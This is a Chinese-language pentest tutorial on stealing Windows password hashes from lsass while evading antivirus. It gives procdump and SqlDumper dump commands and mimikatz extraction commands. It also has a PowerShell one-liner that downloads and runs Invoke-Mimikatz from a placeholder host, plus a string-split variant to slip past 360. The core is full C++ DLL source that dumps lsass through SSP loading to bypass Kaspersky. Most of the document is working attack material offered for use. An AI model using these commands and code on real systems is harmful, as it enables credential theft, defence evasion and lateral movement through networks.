内网渗透-免杀抓取windows hash
字数 1353 2025-08-18 11:39:30
Windows Hash 免杀抓取技术详解
前言
在内网渗透中,获取主机管理员权限后,通常需要抓取用户的明文密码或hash以进行Pass-the-Hash (PTH)攻击。由于防护软件的存在,常规方法往往失效,因此需要掌握多种绕过防护的技术。
方法一:使用Procdump.exe
技术原理
Procdump是微软官方发布的工具,可用于dump进程内存,能绕过大多数防护软件。
操作步骤
- 使用Procdump dump lsass进程内存:
procdump.exe -accepteula -ma lsass.exe lsass.dmp - 将lsass.dmp下载到本地
- 使用mimikatz读取密码hash:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
优缺点
- 优点:微软官方工具,绕过大多数防护
- 缺点:无法绕过卡巴斯基
方法二:使用SqlDumper.exe
技术原理
SqlDumper是微软SQL Server组件,存在于SQL Server安装目录中。
操作步骤
- 定位SqlDumper.exe(通常在
C:\Program Files\Microsoft SQL Server\number\Shared) - 查看lsass.exe的PID:
tasklist /svc | findstr lsass.exe - 使用SqlDumper导出内存:
Sqldumper.exe ProcessID 0 0x01100 - 将生成的SQLDmpr0001.mdmp下载到本地
- 使用mimikatz读取:
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit
优缺点
- 优点:可过360
- 缺点:无法过卡巴斯基
方法三:PowerShell免杀
技术原理
通过PowerShell加载Invoke-Mimikatz.ps1脚本获取密码hash。
基本方法
powershell IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
绕过360的分割方法
powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht'; $b='tp://x.x.x.x/ps/Invoke-Mimikatz.ps1'')); Invoke-Mimikatz';IEX ($a+$b)"
优缺点
- 优点:灵活多变
- 缺点:无法绕过卡巴斯基
方法四:绕过卡巴斯基抓取lsass密码
技术原理
使用RPC控制lsass加载SSP的代码,配合自定义dll dump内存。
准备工作
- 下载XPN提供的代码:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
- 修改代码:
- 添加
#pragma comment(lib, "Rpcrt4.lib") - 将.c文件后缀改成.cpp
- 编译时选择x64
- 添加
DLL源码关键部分
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#pragma comment(lib, "Dbghelp.lib")
using namespace std;
int FindPID() {
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
cout << "CreateToolhelp32Snapshot Error!" << endl;
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
while (bResult) {
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) {
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return -1;
}
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
int dump() {
HRESULT hr;
_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
if (MiniDumpW == NULL) {
return 0;
}
// try enable debug privilege
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
wchar_t ws[100];
swprintf(ws, 100, L"%hd%hs", FindPID(), " C:\\1.bin full");
MiniDumpW(0, 0, ws);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
操作步骤
-
将编译好的exe和dll放在同一目录下
-
使用管理员权限运行exe加载dll
-
注意事项:
- 调用dll文件要使用完整绝对路径
- 文件要放在英文路径下
- Win7下只能执行一次,第二次执行可能导致重启
-
使用mimikatz读取生成的1.bin:
mimikatz # sekurlsa::minidump 1.bin mimikatz # sekurlsa::loginpasswords full
优缺点
- 优点:可绕过卡巴斯基
- 缺点:实现复杂,Win7下有使用限制
Hash破解工具
对于无法读出明文的系统,可尝试在线破解hash:
- https://www.objectif-securite.ch/en/ophcrack
- http://cracker.offensive-security.com/index.php
参考链接
- https://www.jianshu.com/p/7ccf6e15fbe0
- https://blog.xpnsec.com/exploring-mimikatz-part-2/
- https://blog.csdn.net/xiangshen1990/article/details/104872566
- https://mp.weixin.qq.com/s/8OueE-bEIdkvwPWu3KqrcQ